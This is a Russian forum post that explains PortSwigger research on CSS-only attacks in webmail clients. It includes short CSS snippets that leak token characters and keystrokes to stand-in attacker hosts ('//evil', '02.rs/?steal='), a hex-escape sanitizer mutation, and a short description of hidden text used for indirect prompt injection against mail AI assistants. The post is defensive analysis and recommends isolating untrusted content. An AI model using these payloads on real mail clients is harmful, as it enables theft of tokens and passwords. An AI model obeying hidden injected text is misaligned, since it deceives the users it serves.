Перейти к содержанию

CSS в письме читает пароли: разбор исследования PortSwigger

Опубликовано
  • Админы
CSS в письме читает пароли: разбор исследования PortSwigger
CSS в письме читает пароли: разбор исследования PortSwigger

Мы привыкли считать CSS безобидным: ну стили, ну цвета, максимум — сломанная вёрстка. 6 августа 2026 Гарет Хейс из PortSwigger Research опубликовал работу «CSS: The Bomb Inside Your Inbox», которая это представление разбивает. На одних только CSS-примитивах, без единой строчки JavaScript, он показал кражу токенов авторизации, кейлоггер в реальном времени и обход image-proxy в почтовых веб-клиентах — Outlook, Fastmail, Gmail, ProtonMail, Yahoo, AOL.

Разберём не «ой, страшно», а механику: почему именно CSS оказался опасен там, где JS давно вычищают, и какие конкретные приёмы работают. Ниже — по вектору на раздел, каждый с сутью и примером. Всё, что помечено как «по данным PortSwigger», — заявления автора исследования; независимо большинство из них я не перепроверял, и об этом сказано прямо.

ℹ️ Справка

Контекст. Веб-почта показывает письмо от постороннего человека прямо внутри вашей доверенной страницы. HTML и JavaScript из письма давно жёстко фильтруют санитайзерами (DOMPurify и аналоги). А вот CSS исторически пропускают почти целиком — «это же просто оформление». Исследование про то, что «просто оформление» — полноценная вычислительная среда, если знать её механику.

Вектор 1. Селектор-атрибут как оракул для кражи токена

Начнём с самого показательного. Ссылки для сброса пароля и подтверждения входа часто содержат токен прямо в href: .../callback?token=c2e16a.... CSS умеет выбирать элементы по подстроке атрибута — и это превращается в механизм посимвольного угадывания.

a[href^="https://medium.com/m/callback/email?token="] {
  &[href*="en=c2e16"] {
    background: url("//evil/?start=c2e16");
  }
}

Идея такая: правило срабатывает, только если href действительно содержит подстроку c2e16. Если сработало — браузер грузит фоновую картинку с сервера атакующего, и тот узнаёт, что эти символы в токене есть. Перебирая варианты (вложенные селекторы резко сокращают размер полезной нагрузки), можно вытянуть токен по кускам. По данным PortSwigger, приём сработал против Medium, Yahoo Mail и AOL Mail.

⚠️ Осторожно

Ключевое, что делает это возможным, — утечка по побочному каналу через загрузку ресурса. CSS сам по себе ничего никуда не «отправляет», но background: url(...) заставляет браузер сходить на внешний адрес. Совпадение селектора → факт запроса → бит информации. Ни строчки JS не потребовалось.

Вектор 2. Шрифт как линейка: измеряем цифры токена

Если токен числовой, а CSP блокирует внешние картинки, есть трюк ещё изящнее — «оракул высоты шрифта». Через @font-face с unicode-range можно назначить отдельной цифре аномальную метрику и измерить, изменилась ли высота блока.

@font-face {
  font-family: has_0;
  src: local('Courier New');
  unicode-range: U+0030;   /* только цифра「0」*/
  descent-override: 200%;  /* раздуваем её по вертикали */
}

Если в токене есть 0, блок с этим шрифтом станет выше — а высоту уже можно превратить в наблюдаемый эффект (например, через inset/анимации спровоцировать загрузку ресурса). Перебором по цифрам восстанавливается состав токена. Это чистая CSS-«математика» поверх типографики — то, для чего язык вообще не задумывался.

Вектор 3. <select> как кейлоггер в реальном времени

Самое неприятное. Комбинацией option:checked, соседних комбинаторов и таймингов анимаций автор собрал захват нажатий клавиш — тоже без JS.

option + option:checked        { background: url(https://02.rs/?steal=a); }
option + option + option:checked { background: url(https://02.rs/?steal=b); }

Каждой позиции в списке соответствует свой символ и свой «сигнальный» запрос. По данным PortSwigger, в связке с поддельным экраном логина (нарисованным теми же CSS-средствами) это позволяет перехватывать вводимый пароль в реальном времени. В Firefox дополнительный трюк с уводом <select> за экран через анимацию сбрасывает таймер и делает захват потоковым.

⛔ Так делать нельзя

Вывод, который здесь напрашивается, но которого делать НЕ надо: «раз опасен CSS — давайте резать :has(), :checked, <select> и жить спокойно». Точечный запрет отдельных селекторов — это игра в догонялки, которую защищающийся проигрывает: автор показал и мутационные атаки, где безопасный на вид CSS превращается в опасный уже при разборе браузером. Блокировать надо не список «плохих слов», а саму возможность CSS из письма влиять на доверенный интерфейс.

Вектор 4. Мутация: безопасный CSS, который становится опасным при парсинге

Отдельный класс — рассинхрон между тем, как CSS видит санитайзер, и тем, как его потом разбирает браузер (CSSOM). Hex-escape-последовательности в именах, например в @keyframes, санитайзер пропускает как безобидную строку, а браузер при перечислении правил декодирует их — и получается конструкция, которую санитайзер никогда бы не пропустил в явном виде.

/* так это видит санитайзер — просто странное имя keyframes */
@keyframes \7b\7d\7d\2a\7b\63\6f\6c\6f\72\3a\72\65\64\7d {}
/* так это раскроется в CSSOM — вырвались из контекста в чужой селектор */

Именно за такие мутационные баги, по данным исследования, Fastmail выплатил автору по $1000 за находку и починил их. То есть проблема признана вендором и закрыта — это не гипотеза.

Вектор 5. Обход image-proxy и индиректная prompt-инъекция

Почтовики проксируют картинки, чтобы письмо не «стучало» на сервер отправителя и не раскрывало ваш IP и факт прочтения. Автор показал обходы этой защиты через синтаксические причуды: экранированный слэш (url(/\5c/...)), вложенные комментарии, image-set(var(--x, '//evil')). Результат — трекинг открытия письма и утечка IP в обход прокси.

И отдельно — примета времени: :before/:after с невидимым текстом, который видит ИИ-ассистент почты, но не видит человек. Это индиректная prompt-инъекция против встроенных в почту LLM-помощников: пользователю показывается одно, языковой модели скармливается другое.

🔒 Безопасность

Практический вывод для читателя-пользователя (не разработчика почтовика): большинство этих атак требуют, чтобы вы открыли вредоносное письмо в уязвимом веб-клиенте, а часть — ещё и чтобы вы что-то в нём ввели. Базовая гигиена работает: не вводите пароли на «формах логина», внезапно появившихся внутри письма; держите включённой блокировку внешних картинок «по умолчанию»; критичные действия (сброс пароля) делайте, переходя на сайт вручную, а не по кнопке из письма. Это не паранойя — это ровно те точки, на которые опираются описанные векторы.

Что со всем этим делать тем, кто держит веб-приложение

Даже если вы не пишете почтовик, урок общий: если ваш продукт показывает пользователю HTML/CSS от другого пользователя (комментарии, тикеты, письма, чат) — CSS в этой модели угроз не «оформление», а активный код. Рекомендации автора, сжато:

  • изолировать чужой контент в sandboxed iframe, а не вставлять в доверенный DOM;
  • проксировать все внешние картинки и не доверять «белым» доменам, которые атакующий может контролировать;
  • строгий CSP, блокирующий @import и внешние стили;
  • аккуратно относиться к «CSS-гаджетам», которые в разметку добавляют сами ваши библиотеки.

❗ Главное

Главная мысль исследования не в конкретных селекторах, а в смене модели угроз: CSS — это не декларативная косметика, а среда, способная измерять, ветвиться и утекать данными по побочным каналам. Санитизация «уберём опасные слова из стилей» проигрывает по определению, потому что опасность рождается на стыке санитайзера и браузерного парсера. Правильный уровень защиты — архитектурная изоляция чужого контента, а не чёрные списки.

Статус на момент публикации

По данным PortSwigger: Fastmail исправил мутационные баги (и заплатил bug bounty); реакцию ProtonMail автор счёл недостаточной; часть обходов в Gmail на момент выхода статьи оставалась актуальной. Это заявления исследователя; официальных подтверждений от всех перечисленных вендоров в самой статье нет, так что относитесь к статусам как к позиции одной стороны.

Что я не смог проверить независимо и потому подаю только как утверждение автора: работоспособность конкретных payload'ов против конкретных клиентов и суммы выплат. Первоисточник — один (PortSwigger Research), демонстрационные видео приложены к статье, но это по-прежнему одна сторона.

Связанная тема форума: 99% трафика — боты: восемь рубежей обороны сайта — там про фронт со стороны сервера, здесь — про фронт внутри клиента.

Источники

💬 Вопрос к сообществу

Ваш почтовый клиент по умолчанию грузит внешние картинки или блокирует? И более общий вопрос к тем, кто разрабатывает: вы отдаёте пользовательский HTML/CSS в sandboxed iframe — или всё ещё вставляете в основной DOM с надеждой на санитайзер? Поделитесь, как у вас устроена изоляция чужого контента.

Featured Replies

No posts to show

Присоединяйтесь к обсуждению

Вы можете написать сейчас и зарегистрироваться позже. Если у вас есть аккаунт, авторизуйтесь, чтобы опубликовать от имени своего аккаунта.
Примечание: Ваш пост будет проверен модератором, прежде чем станет видимым.

Гость
К сожалению, ваш контент содержит запрещённые слова. Пожалуйста, отредактируйте контент, чтобы удалить выделенные ниже слова.
Ответить в этой теме...

Последние посетители 0

  • Ни одного зарегистрированного пользователя не просматривает данную страницу
Яндекс.Метрика

Account

Navigation

Поиск

Поиск

Configure browser push notifications

Chrome (Android)
  1. Tap the lock icon next to the address bar.
  2. Tap Permissions → Notifications.
  3. Adjust your preference.
Chrome (Desktop)
  1. Click the padlock icon in the address bar.
  2. Select Site settings.
  3. Find Notifications and adjust your preference.